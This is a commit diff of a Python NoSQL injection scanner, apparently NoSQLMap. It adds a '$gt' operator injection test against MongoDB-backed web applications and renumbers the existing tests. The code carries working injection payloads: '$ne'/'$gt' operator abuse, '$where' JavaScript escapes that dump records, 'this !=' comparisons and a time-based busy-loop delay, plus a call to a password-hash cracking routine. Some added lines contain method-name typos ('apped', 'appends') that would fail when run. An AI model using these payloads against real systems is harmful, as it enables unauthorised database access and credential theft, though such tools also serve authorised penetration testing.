@@ -449,6 +449,7 @@ def postApps():
449
449
trueInt = False
450
450
global postData
451
451
global neDict
452
+ global gtDict
452
453
testNum = 1
453
454
454
455
#Verify app is working.
@@ -553,6 +554,27 @@ def postApps():
553
554
554
555
#Delete the extra key
555
556
del postData [injOpt + "[$ne]" ]
557
+
558
+ #generate $gt injection
559
+ gtDict = postData
560
+ gtDict .update ({injOpt :"" })
561
+ gtDict [injOpt + "[$gt]" ] = gtDict [injOpt ]
562
+ del gtDict [injOpt ]
563
+ body = urllib .urlencode (gtDict )
564
+ req = urllib2 .Request (appURL ,body )
565
+ if verb == "ON" :
566
+ print "Testing PHP/ExpressJS >Undefined Injection using " + str (postData ) + "..."
567
+
568
+ else :
569
+ print "Test 2: PHP/ExpressJS > Undefined Injection"
570
+
571
+ errorCheck = errorTest (str (urllib2 .urlopen (req ).read ()),testNum )
572
+
573
+ if errorCheck == False :
574
+ injLen = int (len (urllib2 .urlopen (req ).read ()))
575
+ checkResult (randLength ,injLen ,testNum )
576
+ testNum += 1
577
+
556
578
postData .update ({injOpt :"a'; return db.a.find(); var dummy='!" })
557
579
body = urllib .urlencode (postData )
558
580
req = urllib2 .Request (appURL ,body )
@@ -561,7 +583,7 @@ def postApps():
561
583
print "Injecting " + str (postData )
562
584
563
585
else :
564
- print "Test 2 : $where injection (string escape)"
586
+ print "Test 3 : $where injection (string escape)"
565
587
566
588
errorCheck = errorTest (str (urllib2 .urlopen (req ).read ()),testNum )
567
589
@@ -581,7 +603,7 @@ def postApps():
581
603
print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n "
582
604
print "Injecting " + str (postData )
583
605
else :
584
- print "Test 3 : $where injection (integer escape)"
606
+ print "Test 4 : $where injection (integer escape)"
585
607
586
608
errorCheck = errorTest (str (urllib2 .urlopen (req ).read ()),testNum )
587
609
@@ -602,7 +624,7 @@ def postApps():
602
624
print " Injecting " + str (postData )
603
625
604
626
else :
605
- print "Test 4 : $where injection string escape (single record)"
627
+ print "Test 5 : $where injection string escape (single record)"
606
628
607
629
errorCheck = errorTest (str (urllib2 .urlopen (req ).read ()),testNum )
608
630
@@ -623,7 +645,7 @@ def postApps():
623
645
print " Injecting " + str (postData )
624
646
625
647
else :
626
- print "Test 5 : $where injection integer escape (single record)"
648
+ print "Test 6 : $where injection integer escape (single record)"
627
649
628
650
errorCheck = errorTest (str (urllib2 .urlopen (req ).read ()),testNum )
629
651
@@ -645,7 +667,7 @@ def postApps():
645
667
print " Injecting " + str (postData )
646
668
647
669
else :
648
- print "Test 6 : This != injection (string escape)"
670
+ print "Test 7 : This != injection (string escape)"
649
671
650
672
errorCheck = errorTest (str (urllib2 .urlopen (req ).read ()),testNum )
651
673
@@ -665,7 +687,7 @@ def postApps():
665
687
print "Testing Mongo this not equals integer escape attack for all records..."
666
688
print " Injecting " + str (postData )
667
689
else :
668
- print "Test 7 : This != injection (integer escape)"
690
+ print "Test 8 : This != injection (integer escape)"
669
691
670
692
errorCheck = errorTest (str (urllib2 .urlopen (req ).read ()),testNum )
671
693
@@ -969,12 +991,26 @@ def getApps():
969
991
testNum += 1
970
992
print "\n "
971
993
994
+ if verb == "ON" :
995
+ print "Testing PHP/ExpressJS > undefined attack for all records..."
996
+ print "Injecting " + uriArray [8 ]
997
+
998
+ else :
999
+ print "Test 8: PHP/ExpressJS > Undefined Injection"
1000
+
1001
+ errorCheck = errorTest (str (urllib .urlopen (uriArray [8 ]).read ()),testNum )
1002
+
1003
+ if errorCheck == False :
1004
+ injLen = int (len (urllib .urlopen (uriArray [8 ]).read ()))
1005
+ checkResult (randLength ,injLen ,testNum )
1006
+ testNum += 1
1007
+
972
1008
doTimeAttack = raw_input ("Start timing based tests (y/n)? " )
973
1009
974
1010
if doTimeAttack in yes_tag :
975
1011
print "Starting Javascript string escape time based injection..."
976
1012
start = time .time ()
977
- strTimeInj = urllib .urlopen (uriArray [8 ])
1013
+ strTimeInj = urllib .urlopen (uriArray [18 ])
978
1014
page = strTimeInj .read ()
979
1015
end = time .time ()
980
1016
strTimeInj .close ()
@@ -1066,6 +1102,7 @@ def errorTest (errorCheck,testNum):
1066
1102
global possAddrs
1067
1103
global httpMethod
1068
1104
global neDict
1105
+ global gtDict
1069
1106
global postData
1070
1107
1071
1108
if errorCheck .find ('ReferenceError' ) != - 1 or errorCheck .find ('SyntaxError' ) != - 1 or errorCheck .find ('ILLEGAL' ) != - 1 :
@@ -1079,6 +1116,11 @@ def errorTest (errorCheck,testNum):
1079
1116
if testNum == 1 :
1080
1117
possAddrs .append (str (neDict ))
1081
1118
return True
1119
+
1120
+ elif testNum == 2 :
1121
+ possAddrs .apped (str (gtDict ))
1122
+ return True
1123
+
1082
1124
else :
1083
1125
possAddrs .appends (str (postData ))
1084
1126
return True
@@ -1095,6 +1137,7 @@ def checkResult(baseSize,respSize,testNum):
1095
1137
global int24
1096
1138
global httpMethod
1097
1139
global neDict
1140
+ global gtDict
1098
1141
global postData
1099
1142
1100
1143
delta = abs (respSize - baseSize )
@@ -1109,14 +1152,17 @@ def checkResult(baseSize,respSize,testNum):
1109
1152
else :
1110
1153
if testNum == 1 :
1111
1154
vulnAddrs .append (str (neDict ))
1155
+
1156
+ elif testNum == 2 :
1157
+ vulnAddrs .apped (str (gtDict ))
1112
1158
else :
1113
1159
vulnAddrs .append (str (postData ))
1114
1160
1115
- if testNum == 2 or testNum == 4 :
1161
+ if testNum == 3 or testNum == 5 :
1116
1162
lt24 = True
1117
1163
str24 = True
1118
1164
1119
- elif testNum == 3 or testNum == 5 :
1165
+ elif testNum == 4 or testNum == 6 :
1120
1166
lt24 = True
1121
1167
int24 = True
1122
1168
return
@@ -1192,7 +1238,7 @@ def buildUri(origUri, randValue):
1192
1238
paramName = []
1193
1239
paramValue = []
1194
1240
global uriArray
1195
- uriArray = ["" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ]
1241
+ uriArray = ["" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,"" , "" ]
1196
1242
injOpt = ""
1197
1243
1198
1244
#Split the string between the path and parameters, and then split each parameter
@@ -1243,6 +1289,7 @@ def buildUri(origUri, randValue):
1243
1289
uriArray [15 ] = split_uri [0 ] + "?"
1244
1290
uriArray [16 ] = split_uri [0 ] + "?"
1245
1291
uriArray [17 ] = split_uri [0 ] + "?"
1292
+ uriArray [18 ] = split_uri [0 ] + "?"
1246
1293
1247
1294
for item in paramName :
1248
1295
if paramName [x ] == injOpt :
@@ -1254,7 +1301,7 @@ def buildUri(origUri, randValue):
1254
1301
uriArray [5 ] += paramName [x ] + "=1; return db.a.findOne(); var dummy=1" + "&"
1255
1302
uriArray [6 ] += paramName [x ] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&"
1256
1303
uriArray [7 ] += paramName [x ] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&"
1257
- uriArray [8 ] += paramName [x ] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + " &"
1304
+ uriArray [8 ] += paramName [x ] + "[$gt]= &"
1258
1305
uriArray [9 ] += paramName [x ] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&"
1259
1306
uriArray [10 ] += paramName [x ] + "=a\" ; return db.a.find(); var dummy='!" + "&"
1260
1307
uriArray [11 ] += paramName [x ] + "=a\" ; return this.a != '" + randValue + "'; var dummy='!" + "&"
@@ -1265,6 +1312,7 @@ def buildUri(origUri, randValue):
1265
1312
#Add values that can be manipulated for database attacks
1266
1313
uriArray [16 ] += paramName [x ] + "=a\' ; ---"
1267
1314
uriArray [17 ] += paramName [x ] + "=1; if ---"
1315
+ uriArray [18 ] += paramName [x ] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&"
1268
1316
1269
1317
else :
1270
1318
uriArray [0 ] += paramName [x ] + "=" + paramValue [x ] + "&"
@@ -1285,6 +1333,7 @@ def buildUri(origUri, randValue):
1285
1333
uriArray [15 ] += paramName [x ] + "=" + paramValue [x ] + "&"
1286
1334
uriArray [16 ] += paramName [x ] + "=" + paramValue [x ] + "&"
1287
1335
uriArray [17 ] += paramName [x ] + "=" + paramValue [x ] + "&"
1336
+ uriArray [18 ] += paramName [x ] + "=" + paramValue [x ] + "&"
1288
1337
x += 1
1289
1338
1290
1339
#Clip the extra & off the end of the URL
@@ -1642,7 +1691,7 @@ def getDBInfo():
1642
1691
menuItem += 1
1643
1692
1644
1693
userIndex = raw_input ("Select user hash to crack: " )
1645
- passCrack (users [int (userIndex )- 1 ],hashes [int (userIndex )- 1 ])
1694
+ nsmmongo . passCrack (users [int (userIndex )- 1 ],hashes [int (userIndex )- 1 ])
1646
1695
1647
1696
crackHash = raw_input ("Crack another hash (y/n)?" )
1648
1697
raw_input ("Press enter to continue..." )
0 commit comments